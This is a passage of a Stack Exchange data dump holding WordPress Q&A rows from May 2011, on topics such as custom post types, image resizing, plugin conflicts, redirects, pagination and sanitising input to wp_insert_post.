  <row Id="17337" PostTypeId="2" ParentId="17336" CreationDate="2011-05-16T00:23:33.407" Score="1" ViewCount="" Body="&lt;p&gt;esc_attr() is written specifically for escaping a string that is to be used as an html attribute, which means also escaping single and double-quote characters etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general, it's better to use the &lt;a href=&quot;http://codex.wordpress.org/Data_Validation#Text_Nodes&quot; rel=&quot;nofollow&quot;&gt;data validation API&lt;/a&gt; that WP provides rather than the generic PHP functions.&lt;/p&gt;&#xA;" OwnerUserId="205" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-05-16T00:31:37.227" LastActivityDate="2011-05-16T00:31:37.227" />
  <row Id="17338" PostTypeId="2" ParentId="17334" CreationDate="2011-05-16T00:43:20.973" Score="1" ViewCount="" Body="&lt;p&gt;Have a look at the Shortcodes API &lt;a href=&quot;http://codex.wordpress.org/Shortcode_API&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Shortcode_API&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5099" LastActivityDate="2011-05-16T00:43:20.973" CommentCount="1" />
  <row Id="17339" PostTypeId="1" CreationDate="2011-05-16T00:46:54.980" Score="0" ViewCount="33" Body="&lt;p&gt;The following function checks &lt;em&gt;option&lt;/em&gt;, if *blog_charset* is not utf8, than return original &lt;em&gt;string&lt;/em&gt;. What is the purpose of this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function sc_check_invalid_utf8( $string, $strip = false ) {&#xA;    $string = (string) $string;&#xA;&#xA;    if ( 0 === strlen( $string ) ) {&#xA;        return '';&#xA;    }&#xA;&#xA;    // Store the site charset as a static to avoid multiple calls to get_option()&#xA;    static $is_utf8;&#xA;    if ( !isset( $is_utf8 ) ) {&#xA;        $is_utf8 = in_array( get_option( 'blog_charset' ), array( 'utf8', 'utf-8', 'UTF8', 'UTF-8' ) );&#xA;    }&#xA;    if ( !$is_utf8 ) {&#xA;        return $string;&#xA;    }&#xA;&#xA;    ......&#xA;&#xA;    return '';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5400" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-06-07T14:19:04.273" LastActivityDate="2011-08-07T04:20:00.380" Title="What is wp_check_invalid_utf8?" Tags="&lt;validation&gt;&lt;encoding&gt;" AnswerCount="1" />
  <row Id="17340" PostTypeId="1" CreationDate="2011-05-16T01:45:26.817" Score="3" ViewCount="125" Body="&lt;p&gt;As you can guess from the title, Im looking for a solution that allows me to alter the way Wordpress processes/saves its newly created images according to the media settings in the dashboard. This is very important since I primarily use Wordpress as a way to present portfolio images so they need to maintain the same color profile, etc. as they had when they were first uploaded. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is, once an image is resized by wordpress it tends to become desaturated because it changes the color profile, this needs to be altered somehow so that it stays the same as the original and only the pixel dimensions are changed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easiest solution to this is to prepare your images to the exact size to be used prior to upload and then use the images actual size setting in wordpress' dialog while placing an image into a post, however this is not very convenient, nor is it exactly a very nice solution for clients that dont understand how to do such a thing before uploading....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately, Id like to avoid the use of a plugin and just alter the existing script that wordpress uses to process its photos/images, or possibly create a special function for the functions.php template if thats possible....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the help in advance. &lt;/p&gt;&#xA;" OwnerUserId="3567" LastEditorUserId="3567" LastEditorDisplayName="" LastEditDate="2011-05-16T05:22:05.323" LastActivityDate="2011-06-07T14:11:01.570" Title="How to resize images in wordpress without adding any compression or changing the color profile of the images, possible?" Tags="&lt;images&gt;&lt;image-size&gt;&lt;add-image-size&gt;&lt;cropping&gt;&lt;scale&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="17341" PostTypeId="1" CreationDate="2011-05-16T02:02:53.313" Score="0" ViewCount="51" Body="&lt;p&gt;I have a strange problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This appears at the top of a site that I have.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Warning: array_slice() expects parameter 1 to be array, null given in /public_html/mysitename/wp-content/plugins/zd-header-tags/zd-header-tags.php on line 414&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Warning: implode() [function.implode]: Invalid arguments passed in /public_html/mysitename/wp-content/plugins/zd-header-tags/zd-header-tags.php on line 415&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have seen this problem before, on my own site and others, but this has appeared on a brand new site and the ZD header tags problem occurred after installing the &quot;List category posts&quot; plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had these plugins active:&#xA;Akismet&#xA;WordPress Importer&#xA;ZD Header Tags&#xA;then installed &#xA;List category posts and the error appeared.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Removing either ZD Header Tags OR List category posts fixes the problem.  But I want to use both.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On another site, I do have both working OK.&#xA;Both sites use:&#xA;WordPress 3.1.2&#xA;List category posts Version 0.18.3&#xA;ZD Header Tags Version 2.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated&lt;/p&gt;&#xA;" OwnerUserId="5401" LastActivityDate="2011-05-16T02:02:53.313" Title="Problems with ZD Header Tags and List category posts plugins used together" Tags="&lt;plugin-list-category-post&gt;" CommentCount="2" />
  <row Id="17342" PostTypeId="1" CreationDate="2011-05-16T03:01:30.127" Score="0" ViewCount="74" Body="&lt;p&gt;I am working on a simple wordpress site for a fitness club. They require a simple wordpress plugin that displays a static weekly schedule for their theater. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;They need to be able to specify what plays on what day of the week and what time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A full blown calender/event scheduler plugin is probably overkill for this as it just needs to display Day of Week, Event Title, Event time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on what plugin I can use for this?&lt;/p&gt;&#xA;" OwnerUserId="5402" LastActivityDate="2011-05-16T07:16:30.433" Title="Plugin to display weekly schedule that can be edited via admin panel" Tags="&lt;plugins&gt;&lt;events&gt;" AnswerCount="1" />
  <row Id="17343" PostTypeId="1" AcceptedAnswerId="17344" CreationDate="2011-05-16T03:04:14.890" Score="1" ViewCount="261" Body="&lt;p&gt;I have a problem using the register_post_type and register_taxonomy on my Wordpress. I created the code on my functions.php and it does not update my panel. Why? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Categorias personalizadas&#xA;register_taxonomy('produtos', 'produto', array('hierarchical' =&amp;gt; true, 'label' =&amp;gt; 'Categorias de Produtos', 'query_var' =&amp;gt; true, 'rewrite' =&amp;gt; true));&#xA;//Posts personalizados&#xA;add_action('init', 'create_post_type');&#xA;function create_post_type() {&#xA;    register_post_type('produto',&#xA;    array(&#xA;        'labels' =&amp;gt; array(&#xA;        'name' =&amp;gt; __('Produto'),&#xA;        'singular_name' =&amp;gt; __('Produto')),&#xA;        'public' =&amp;gt; true,&#xA;        'rewrite' =&amp;gt; true,&#xA;        'supports' =&amp;gt; array('title','editor','author','thumbnail','excerpt','comments','custom-fields','image'),&#xA;        'has_archive' =&amp;gt; true)&#xA;    );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5403" LastActivityDate="2011-05-16T03:22:29.023" Title="register_taxonomy and register_post_type does not work" Tags="&lt;custom-post-types&gt;&lt;add-action&gt;&lt;add-filter&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" />
  <row Id="17344" PostTypeId="2" ParentId="17343" CreationDate="2011-05-16T03:22:29.023" Score="3" ViewCount="" Body="&lt;p&gt;I copy pasted your code into my functions.php and it worked for me, make sure you are using a recent version of WordPress that supports Custom Post Types&lt;/p&gt;&#xA;" OwnerUserId="4471" LastActivityDate="2011-05-16T03:22:29.023" />
  <row Id="17345" PostTypeId="1" CreationDate="2011-05-16T03:57:18.140" Score="0" ViewCount="33" Body="&lt;p&gt;What sort of Wordpress e-commerce plugin would best suit the needs to create a site that allows users to place adverts for items they wish to post for sale? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am doing a site for a client that would use this. These users would sell a particular type of product (very specific) but that has no real effect on my question...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I only ask because I think it would be easier to find something for Wordpress that could do this already rather than write a full site that would specifically taylor to this and implement a different CMS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance.&lt;/p&gt;&#xA;" OwnerUserId="5404" LastActivityDate="2011-05-16T03:57:18.140" Title="Wordpress-based User Sales Website" Tags="&lt;plugins&gt;&lt;plugin-recommendation&gt;&lt;e-commerce&gt;" CommentCount="2" />
  <row Id="17346" PostTypeId="1" CreationDate="2011-05-16T04:13:30.460" Score="1" ViewCount="48" Body="&lt;p&gt;How can I control the formatting of the 'Older posts' link at the bottom of my block to make it more noticeable?&lt;/p&gt;&#xA;" OwnerUserId="5405" LastActivityDate="2011-08-16T23:25:38.713" Title="Format 'Older posts' link" Tags="&lt;formatting&gt;&lt;link&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="17347" PostTypeId="1" AcceptedAnswerId="17351" CreationDate="2011-05-16T04:56:26.940" Score="3" ViewCount="30" Body="&lt;p&gt;I am in the process of migrating my blog from my &lt;a href=&quot;https://dekhoblog.wordpress.com/&quot; rel=&quot;nofollow&quot;&gt;wordpress.com address&lt;/a&gt; to a self-hosting (wordpress v3.1.2) &lt;a href=&quot;http://www.dekho.com.au/&quot; rel=&quot;nofollow&quot;&gt;address&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blog has migrated across nicely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Appears my users have also migrated across, but they cannot login with there old credentials (which are tied to wordpress.com, right)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have around 30 users, and I would like to minimise the amoutn of work they have to do, to re-register to get access to the wp-admin console.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way to keep the new users, but perhaps reset all there password to 'password'?&lt;/p&gt;&#xA;" OwnerUserId="4280" LastEditorUserId="4280" LastEditorDisplayName="" LastEditDate="2011-05-16T08:57:22.193" LastActivityDate="2011-05-16T08:57:22.193" Title="Migrating users from .com to .org?" Tags="&lt;users&gt;&lt;migration&gt;&lt;password&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="17349" PostTypeId="2" ParentId="14171" CreationDate="2011-05-16T05:29:25.033" Score="1" ViewCount="" Body="&lt;p&gt;I have tried my hand at using the description field to use as to which roles can access which menu items, and based my modifications on code I got from here - &lt;a href=&quot;http://www.tisseur-de-toile.fr/wordpress-tricks/pimp-my-wordpress-menu-part-2-access-granted-to-authorized-personnel-only.html&quot; rel=&quot;nofollow&quot;&gt;Pimp my WP Menu&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My modified version is pasted at &lt;a href=&quot;http://pastebin.com/hQnShaxA&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/hQnShaxA&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is not the cleanest version yet, but it works. I hope someone else can make a good use of it as well.&lt;/p&gt;&#xA;" OwnerUserId="5324" LastActivityDate="2011-05-16T05:29:25.033" CommentCount="1" />
  <row Id="17350" PostTypeId="1" CreationDate="2011-05-16T01:59:24.223" Score="1" ViewCount="111" Body="&lt;p&gt;I would like to have WordPress on my local OS X machine to test out different themes, content, etc and then deploy it on to the production Linux server.  I'm using WordPress for my website and blogging will be a secondary thing.  What is the best way to do this?  Please elaborate on the key steps to create it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I googled around and people talk of using Git, &lt;a href=&quot;https://github.com/capistrano/capistrano&quot; rel=&quot;nofollow&quot;&gt;capistrano&lt;/a&gt;, editing something to fix some links, some are just the simple blog type setup on server, etc... all sounded too complicated for the basic blog setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to keep user comments when updating production website.  Not too worried about loosing my content but would be nice if I didn't loose it. &lt;/p&gt;&#xA;" OwnerUserId="5429" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-27T20:10:29.803" LastActivityDate="2011-05-27T20:10:29.803" Title="Setting up WordPress playground and deploying to production server?" Tags="&lt;migration&gt;&lt;development&gt;&lt;deployment&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="0" />
  <row Id="17351" PostTypeId="2" ParentId="17347" CreationDate="2011-05-16T06:25:00.260" Score="1" ViewCount="" Body="&lt;p&gt;I don't know if you can see the email addresss of your users in wordpress.com blog as i never used it. If you can, as you have not too many users you may try to add them manually from wordpress dashboard and send them an email with the password if you have access to the email address.&lt;/p&gt;&#xA;" OwnerUserId="3094" LastActivityDate="2011-05-16T06:25:00.260" CommentCount="5" />
  <row Id="17352" PostTypeId="2" ParentId="17342" CreationDate="2011-05-16T07:16:30.433" Score="1" ViewCount="" Body="&lt;p&gt;Cant get any simpler than this (and without using a plugin) &lt;a href=&quot;http://www.problogdesign.com/wordpress/an-updated-wordpress-events-list/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Display Events&lt;/strong&gt;&lt;/a&gt; should be easy to bend it to do what you want it to do&lt;/p&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2011-05-16T07:16:30.433" />
  <row Id="17353" PostTypeId="2" ParentId="17273" CreationDate="2011-05-16T08:05:33.200" Score="2" ViewCount="" Body="&lt;p&gt;Yea, you need to flush the permalinks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This helps solve the problem even further. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;    'rewrite' =&amp;gt; array(&quot;slug&quot; =&amp;gt; &quot;products&quot;), // Permalinks format&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I was getting the same problem when using &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'rewrite' =&amp;gt; true,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5408" LastActivityDate="2011-05-16T08:05:33.200" CommentCount="1" />
  <row Id="17354" PostTypeId="1" CreationDate="2011-05-16T04:00:18.223" Score="1" ViewCount="187" Body="&lt;p&gt;I have a wordpress users that aren't very good at resizing images so when they upload an image to wordpress it's still big &gt; 3000px. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;They can import into a post and a thumbnail is generated. When you click on the thumbnail the image appears in a light box (using fancybox) but because the image is so big it takes ages to load. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to open a smaller version of the image (say 800px wide) in the lightbox? Automatically, without the user having to resize the image before uploading?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a plugin for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="6539" LastEditorUserId="4610" LastEditorDisplayName="" LastEditDate="2011-05-16T11:01:27.220" LastActivityDate="2011-05-16T11:01:27.220" Title="Wordpress Fancybox Resize Large Image" Tags="&lt;uploads&gt;&lt;image-size&gt;" AnswerCount="1" FavoriteCount="0" />
  <row Id="17355" PostTypeId="1" AcceptedAnswerId="17365" CreationDate="2011-05-16T08:23:42.793" Score="1" ViewCount="47" Body="&lt;p&gt;There is a site at &lt;code&gt;http://theprimarkonlineshop.com&lt;/code&gt; that I want to be redirected to &lt;code&gt;http://theprimarkonlineshop.com/category/blog&lt;/code&gt; when a user enters the site. &#xA;I've tried some stuff like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine on&#xA;RewriteCond %{REQUEST_FILENAME} ^/$ [OR]&#xA;RewriteCond %{REQUEST_FILENAME} ^$ &#xA;RewriteRule . http://theprimarkonlineshop.com/category/blog/ [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but it doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also there are some redirections that were put into &lt;code&gt;.htaccess&lt;/code&gt; by WordPress&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteBase /&#xA;RewriteRule ^index\.php$ - [L]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule . /index.php [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I guess they should remain as is?&lt;/p&gt;&#xA;" OwnerUserId="5409" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-31T12:53:25.680" LastActivityDate="2011-05-31T12:58:57.827" Title="Redirect from home page to post list page?" Tags="&lt;redirect&gt;&lt;apache&gt;" AnswerCount="2" CommentCount="0" />
  <row Id="17356" PostTypeId="1" AcceptedAnswerId="17359" CreationDate="2011-05-16T08:38:25.573" Score="2" ViewCount="148" Body="&lt;p&gt;If I use the wp_insert_post in a plugin, will I have to check the content for SQL injection problems and XSS or will the wp_insert_post function do this for me?&lt;/p&gt;&#xA;" OwnerUserId="5410" LastActivityDate="2011-05-16T13:17:43.807" Title="Does wp_insert_post validate the input?" Tags="&lt;validation&gt;&lt;wp-insert-post&gt;" AnswerCount="1" />
  <row Id="17357" PostTypeId="1" AcceptedAnswerId="17360" CreationDate="2011-05-16T09:20:14.413" Score="-1" ViewCount="25" Body="&lt;p&gt;I've encountered an issue on a site I'm looking after.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 'admin' account no longer has access to the plugins page, if I try and manually type in the URL to the page, I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Page disabled by the administrator&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea what could be causing that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3670" LastActivityDate="2011-05-16T09:42:08.217" Title="Plugins Page - &quot;Page disabled by the administrator&quot;" Tags="&lt;permissions&gt;" AnswerCount="1" />
  <row Id="17358" PostTypeId="1" AcceptedAnswerId="17361" CreationDate="2011-05-16T09:26:21.217" Score="0" ViewCount="194" Body="&lt;p&gt;The following code was mentioned from one of the commentors, however it is breaking the pagination. Any corrections please&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;?php &#xA;    include(TEMPLATEPATH. '/includes/headline.php'); rewind_posts();&#xA;    if (have_posts()) &#xA;    {&#xA;    echo '&amp;lt;div class=&quot;gridrow clear&quot;&amp;gt;';&#xA;    while (have_posts()) : the_post();&#xA;    global $post;&#xA;    $query_string;&#xA;    query_posts( $query_string .'&amp;amp;posts_per_page=5' );&#xA;    include(TEMPLATEPATH. '/includes/loop.php');&#xA;    $q = $wp_query-&amp;gt;current_post;&#xA;    $maxq = tj_current_postnum();&#xA;    if($q &amp;lt; $maxq-1 &amp;amp;&amp;amp; is_int(($q+1)/2)) echo '&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;gridrow clear&quot;&amp;gt;';&#xA;    $postcount++;&#xA;    endwhile;&#xA;    echo '&amp;lt;/div&amp;gt; &amp;lt;!--end .gridrow--&amp;gt;';&#xA;    } else { &#xA;    include(TEMPLATEPATH. '/includes/not-found.php'); &#xA;    } &#xA;    if ( $wp_query-&amp;gt;max_num_pages &amp;gt; 1 ) tj_pagenavi();?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5411" LastEditorUserId="5411" LastEditorDisplayName="" LastEditDate="2011-07-07T12:08:26.557" LastActivityDate="2011-07-07T12:43:44.987" Title="Limit number of posts on a custom category template - breaking pagination" Tags="&lt;categories&gt;&lt;template&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="17359" PostTypeId="2" ParentId="17356" CreationDate="2011-05-16T09:39:06.400" Score="5" ViewCount="" Body="&lt;p&gt;The short answer; &lt;strong&gt;absolutely&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;wp_insert_post()&lt;/code&gt; will only SQL escape the content. Use the &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.2/wp-includes/kses.php&quot; rel=&quot;nofollow&quot;&gt;KSES library&lt;/a&gt; &amp;amp; &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_kses&quot; rel=&quot;nofollow&quot;&gt;wp_kses()&lt;/a&gt; to filter out the nasties, or &lt;code&gt;esc_html()&lt;/code&gt; to escape &lt;em&gt;all&lt;/em&gt; HTML.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most importantly, check out &lt;a href=&quot;http://codex.wordpress.org/Data_Validation&quot; rel=&quot;nofollow&quot;&gt;the codex on data validation&lt;/a&gt; (read: sanitization).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;A Note On KSES:&lt;/strong&gt; Use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_filter_kses&quot; rel=&quot;nofollow&quot;&gt;wp_filter_kses()&lt;/a&gt; or &lt;code&gt;wp_kses_data()&lt;/code&gt; to apply the same KSES rules as post comments. The subtle difference between the two is the former expects data escaped with slashes (and returns the same), whilst the latter does not. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress (bizarrely) &lt;strong&gt;enforces magic quotes&lt;/strong&gt;, so &lt;code&gt;$_POST&lt;/code&gt;, &lt;code&gt;$_GET&lt;/code&gt; (and the like) will have escape slashes added by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;A Note On wp_insert_post():&lt;/strong&gt; This function also expects the data array to have slashes added, so you'll need to sanitize it with &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_magic_quotes&quot; rel=&quot;nofollow&quot;&gt;add_magic_quotes()&lt;/a&gt; if that's not the case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; And put in practice;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$_POST['post_title'] = wp_filter_nohtml_kses( $_POST['post_title'] ); // also expects &amp;amp; returns slashes&#xA;$_POST['post_content'] = wp_filter_kses( $_POST['post_content'] );&#xA;&#xA;$post_ID = wp_insert_post( $_POST );&#xA;&#xA;// add to the fun - wp_update_post() will add slashes if $postdata is an object!&#xA;$update = ( object ) stripslashes_deep( array( 'ID' =&amp;gt; $post_ID ) + $_POST );&#xA;$update-&amp;gt;post_title .= ' Updated!';&#xA;wp_update_post( $update )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1685" LastEditorUserId="1685" LastEditorDisplayName="" LastEditDate="2011-05-16T13:17:43.807" LastActivityDate="2011-05-16T13:17:43.807" CommentCount="2" />
  <row Id="17360" PostTypeId="2" ParentId="17357" CreationDate="2011-05-16T09:42:08.217" Score="0" ViewCount="" Body="&lt;p&gt;I've actually just fixed it myself. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem was as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had changed the username of the admin account to 'new-admin'. What I had missed when making this change was to update the 'wp_sitemeta' table in the database. meta_id 8 (site_admins) still had the old admin name set. Once I updated this, the plugins menu reappeared!&lt;/p&gt;&#xA;" OwnerUserId="3670" LastActivityDate="2011-05-16T09:42:08.217" />
  <row Id="17361" PostTypeId="2" ParentId="17358" CreationDate="2011-05-16T09:51:41.910" Score="1" ViewCount="" Body="&lt;p&gt;You need to tell Wordpress to get only 5 posts per page. The parameter to do this is posts_per_page. You should use query_posts() function before your have posts as in the following example.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;   // your includes and stuff&#xA;&#xA;   global $query_string;&#xA;&#xA;   query_posts( $query_string . '&amp;amp;posts_per_page=5' );&#xA;&#xA;   // now your have_posts&#xA;   if ( have_posts() ) {&#xA;       // list the posts&#xA;   } else {&#xA;       // not found msg here..&#xA;   }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5337" LastEditorUserId="5337" LastEditorDisplayName="" LastEditDate="2011-05-16T10:17:05.070" LastActivityDate="2011-05-16T10:17:05.070" CommentCount="5" />
  <row Id="17362" PostTypeId="1" CreationDate="2011-05-16T10:22:39.433" Score="2" ViewCount="87" Body="&lt;p&gt;maybe someone knows how i could update my live site from a &lt;strong&gt;Github&lt;/strong&gt; project. Point is that it's really time consuming if you got your theme hosted at github &lt;em&gt;(as an open source project)&lt;/em&gt;, have a live site that uses the theme and maybe also make it available else where. Normally that means half an hour until you got everything running after you wrote an update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen it once that a server got a &quot;live&quot; update via a git project, but so far couldn't find out how this would be done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-05-16T11:13:32.987" Title="How to: Update live site from github?" Tags="&lt;theme-development&gt;&lt;hosting&gt;&lt;git&gt;&lt;github&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" />
  <row Id="17363" PostTypeId="1" CreationDate="2011-05-16T10:24:27.707" Score="0" ViewCount="87" Body="&lt;p&gt;I'm trying out the 2 comment reporting plugins that I know about in a multisite installation.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/report-comments/&quot; rel=&quot;nofollow&quot;&gt;AJAX Report Comments&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/safe-report-comments/&quot; rel=&quot;nofollow&quot;&gt;Safe Report Comments&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Both don't work - various javascript errors and (I assume) not taking into account the differences between single and multisite WP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know of a working comment reporting plugin for Multisite, or has anyone run into issues with the above plugins before?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Update]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Ajax Report Comments&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Clicking on the &quot;Report comment&quot; link correctly opens a textbox.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Clicking on the &quot;Report comment&quot; button (which should fire off the report) raises the following error in chrome's javascript console&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Uncaught SyntaxError: Unexpected token&#xA;  mysack.onCompletion&#xA;  runAJAX.xmlhttp.onreadystatechange&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The inserted javascript is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;//&amp;lt;![CDATA[&#xA;&#xA;function reportComment( commentID )&#xA;{&#xA;  var reporter_comment = document.getElementById( 'reportcomment_comment_textarea_' + commentID ).value;&#xA;  var mysack = new sack( 'http://test-staffblogs.nature.com/news/wp-content/plugins/report-comments/report.php?c='+commentID+'&amp;amp;r='+escape(reporter_comment) );&#xA;&#xA;  mysack.method = 'POST';&#xA;  mysack.onError    = function() { alert( &quot;Error Error Error&quot; ) };&#xA;  mysack.onCompletion = function() { finishReport( commentID, eval( '(' + this.response + ')' )); }&#xA;&#xA;  mysack.runAJAX();&#xA;}&#xA;&#xA;function reportComment_AddTextArea( commentID )&#xA;{&#xA;    document.getElementById( 'reportcomment_results_div_' + commentID ).innerHTML = &quot;Why are you doing this?&quot;;&#xA;    var textarea = &quot;&amp;lt;textarea name=\&quot;reportcomment_comment_textarea_&quot; + commentID + &quot;\&quot; id=\&quot;reportcomment_comment_textarea_&quot; + commentID + &quot;\&quot; cols=\&quot;55\&quot; rows=\&quot;4\&quot; class=\&quot;reportcomment_textarea\&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;input type=\&quot;button\&quot; name=\&quot;Report Comment\&quot; value=\&quot;Report Comment\&quot; onclick=\&quot;reportComment( &quot; + commentID + &quot; );\&quot; /&amp;gt;&quot;;&#xA;    document.getElementById( 'reportcomment_comment_div_' + commentID ).innerHTML = textarea;&#xA;}&#xA;&#xA;function finishReport( commentID, response )&#xA;{&#xA;    var message = '&amp;lt;span class=&quot;reportedcomment_text&quot;&amp;gt;'+response.message+'&amp;lt;/span&amp;gt;';&#xA;    document.getElementById( 'reportcomment_results_div_' + commentID ).innerHTML = message;&#xA;&#xA;        document.getElementById( 'reportcomment_comment_div_' + commentID ).innerHTML = '';&#xA;        }&#xA;//]]&amp;gt;&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="490" LastEditorUserId="490" LastEditorDisplayName="" LastEditDate="2011-05-16T12:21:24.373" LastActivityDate="2011-05-16T12:21:24.373" Title="Comment reporting for Multisite" Tags="&lt;multisite&gt;&lt;plugin-recommendation&gt;&lt;comments&gt;&lt;reporting&gt;&lt;plugin-report-comments&gt;" CommentCount="11" />
